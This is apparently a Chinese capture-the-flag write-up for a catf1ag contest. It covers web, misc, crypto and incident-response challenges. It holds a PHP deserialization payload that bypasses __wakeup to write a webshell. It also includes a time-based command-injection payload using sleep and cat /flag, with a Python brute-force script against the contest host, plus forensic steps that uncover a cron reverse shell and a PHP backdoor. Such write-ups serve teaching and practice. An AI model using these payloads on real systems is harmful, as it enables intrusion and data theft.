平台:catf1ag CTFhttps://catf1ag.cn/
这篇也不是正式官方文档 但csdn平台人多,懂的都懂
官方的文档两小时AK赛---WP · 语雀 (yuque.com)https://www.yuque.com/vfree/oxrfqt/gf2wdz
目录
WEB
[两小时AK赛] - WEB - 签到了!!!你会玩2048么?
[两小时AK赛] - WEB - easy_unser
[两小时AK赛] - WEB - 你猜猜是什么注入?
MISC
[两小时AK赛] - MISC - 签签
[两小时AK赛] - MISC - 奇怪的字符
[两小时AK赛] - MISC - 这4什么好看的
CRYPTO
[两小时AK赛] - CRYPTO - 怎么会多一个呢
[两小时AK赛] - CRYPTO - 高实在是高
[两小时AK赛] - CRYPTO - 栓q
PWN/Attack
[两小时AK赛] - PWN/ATTACK - 查杀
签到题,进入页面后发现是个小游戏,F12,在js文件中搜索胜利条件即可
cve-2016-7124 __wakeup绕过序列化漏洞 非常简单 无需考虑构造pop链 放个vfree师傅写的文章
CVE-2016-7124反序列化漏洞 - 云+社区 - 腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/1922152
序列化出来:O:7:"catf1ag":1:{s:6:"target";s:4:"flag";}
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
此时就可以构造大于代码中的属性,把catf1ag后面的1改成2,然后我们把目光放到第8-10行,意思是将$target的值写入到catf1ag.php中,那么,到这里,思路也应该清晰了吧,将对象属性的个数写成2,然后通过target传入一句话木马或者读flag文件,最终payloads:
O:7:"catf1ag":2:{s:6:"target";s:28:"";}
考察命令注入,但是这个命令注入和往时的不一样,主要是做了时间注入的成分在里面,题目本身过滤了很多函数和命令,如果匹配到过滤的字符,就会提示有waf,经过遍历发现,没有过滤cat,其实,既然是带有时间注入的命令注入,那我们就能用Linux命令sleep配合cat /flag,然后再转成数字,这里也可以手测,但是20多个字符得测到什么时候,所以用脚本跑更快,payload:
/?catf1ag=sleep `cat /flag | cut -c a | tr {1} 2`
通过替换cut -c {字符}和tr {数字},让正确的字符转成数字,然后配合sleep就可以达到时间注入的效果,通过观察返回的时间就能判断出正确的字符,抛出来后,注意要对照给出的flag格式catf1ag{xxxxx-xxxxx-xxxxx-xxxxx-xxxxx}
(101条消息) catf1ag web题目 WriteUp_Anton1a的博客-CSDN博客https://blog.csdn.net/m0_46520554/article/details/122518867?spm=1001.2014.3001.5501
用这个师傅构造的exp
import requests
import time
# s = ""
# for i in range(32,128):
# s += chr(i)
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = ""
for i in range(1,50):
for j in s:
url = "http://25a4e4ad-beaa-4798-b916-fe0767bbc6a8.subject.catf1ag.cn:9999/?catf1ag=" + f"sleep `cat /flag | cut -c {i} | tr {j} 2`"
try:
print(url)
requests.adapters.DEFAULT_RETRIES = 5 # 增加重连次数
requests.get(url,timeout=2)
except Exception as e:
print(str(e))
flag += j
print(flag)
break
time.sleep(2)
print(flag)
注意更换URL 另外可能需要多跑几次 注意格式
winhex打开文件,在最下面发现有明显base64特征的字符串,
拿到在线解码网站 base64解码 base64编码 在线base64解码/编码工具
看起来很像rot47 但其实不是 简单异或 把txt文件复制出来
exp构造:
data = open('secret.txt','r').read()#注意py文件与txt文件在同一文件夹下
a = 1
for i in data:
print(chr(ord(i)^a),end='')#把txt文件内容中的字符转换成进制 每位与a递增异或,再重新转成字符
a+=1
获得一张美女图 这道需要steghide工具 工具相关介绍
隐写工具Steghide - 简书https://www.jianshu.com/p/c3679f805a0c?msclkid=b253c199cf4611ecb774d289698d9c12
把照片与steghide 保留在同一文件夹下 编写python脚本
import os
for i in range(0,9999):
os.system(f'steghide extract -sf test2.jpeg -p {i}')
print(i)
在新建的flag.txt中即可查看
yafu分解n可以分解出三个因子
import libnum
import gmpy2
n=73551482761993440116378276402850976017673970117685879384712768054097267028974244867004238587658366463106703581107613883463180833706377915593443986550610497954246664378469651
e=65537
c=19088340804936031145050310701046663800140062626102387290922890724239533128878474005542684734507475562997222905703018409354867816494925059525377106444000231776165581716296665
p = 4254843227
q = 2492374307
r = 6935768738605665705725288400892432256194550668863095515013942769049162888322407038880737120756913240675144540329112141837524407303580284917764285456453059
phi_n=(p-1)*(q-1)*(r-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)))
主要考察的高位明文攻击
非预期
感谢N1key师傅反馈
import gmpy2
from Crypto.Util.number import long_to_bytes
c = 757846665709612710047622798901607696475966191486157677993807167873384365513676489731461790205050172225086169489914035089956311182880536480621453222154862896612205436092262339764782754486059223792491004753337631375452744373859969281558865685434771438386779285599911963081936786091339632323042550461240292308997539607661877861
## flag = iroot(c,3)
flag = 911717829801678618100911351591485103708233783320853921932061644898078088242070960582223500589907040030308221
print(long_to_bytes(flag))
预期解
需要下载sage Sage Cell Server
sage m高位攻击
## sage下
import binascii
def hexStr_to_str(hex_str):
hex = hex_str.encode('utf-8')
str_bin = binascii.unhexlify(hex)
return str_bin.decode('utf-8')
def phase2(high_m, n, c):
R. = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^3 - c).small_roots()[0])
print(hex(int(M))[2:])
print(hexStr_to_str(hex(int(M))[2:]))
n=12665183429254325580945372911206360706257079006954643947743121664454914089524916634832685040737214233687785325112424576039016165508146660290974828802710996880849185068704144690143915135774197938764858051298755021664568772363301699454954045374224914126975984844824184263131757665633324767483926757913457691303836308728657455890530401047029807132954324528617558308552469993676230342998368641468028935159530808062712526662606628371783359397956992056631816818089093174030024770769185589578769480295675152580623898653766068001693142399972844934629828827684074705324777912603273764730083438485014417283937379823019721736119
e=3
c=757846665709612710047622798901607696475966191486157677993807167873384365513676489731461790205050172225086169489914035089956311182880536480621453222154862896612205436092262339764782754486059223792491004753337631375452744373859969281558865685434771438386779285599911963081936786091339632323042550461240292308997539607661877861
high_m=911717829801678618100911351591485103708233783320853921932061644898078088242070960582223500287266227352502272
phase2(high_m, n, c)
前半部分flag
在线网址 PDU编码解码工具 (sendsms.cn)
后半部分flag
在线网址 Unicode Steganography with Zero-Width Characters (330k.github.io)
根据题目要求,登录系统后找出对应的信息
✅ 找出定时的反弹shell和写入的木马
注意关键词"定时",可以想到定时执行任务,查看cat /etc/crontab文件,发现了一个反弹shell
反弹shell语句包含了shell的文件名和反弹的服务器,两个问题已解决
其次,要找出写入的木马文件,一般的网站的目录都在/var/www/html,cd到html目录,发现有10个文件夹,直接上payload:
✅ grep -r 'eval' ./*
并不是每个都是,很多文件有语法问题,要找出非语法问题的文件就是连接密码了,很明显,就是mm33.php,连接密码cat_f1ag_666
最后一个查看可疑用户,直接看passwd文件即可,可疑用户hacker_v
✅ cat /etc/passwd
根据flag格式整理一下
flag格式: catf1ag{异常IP - shell文件名 - php后门文件的连接密码 - 新增的可疑用户名}
✅catf1ag{1.15.155.181-she11.sh-cat_f1ag_666-hacker_v}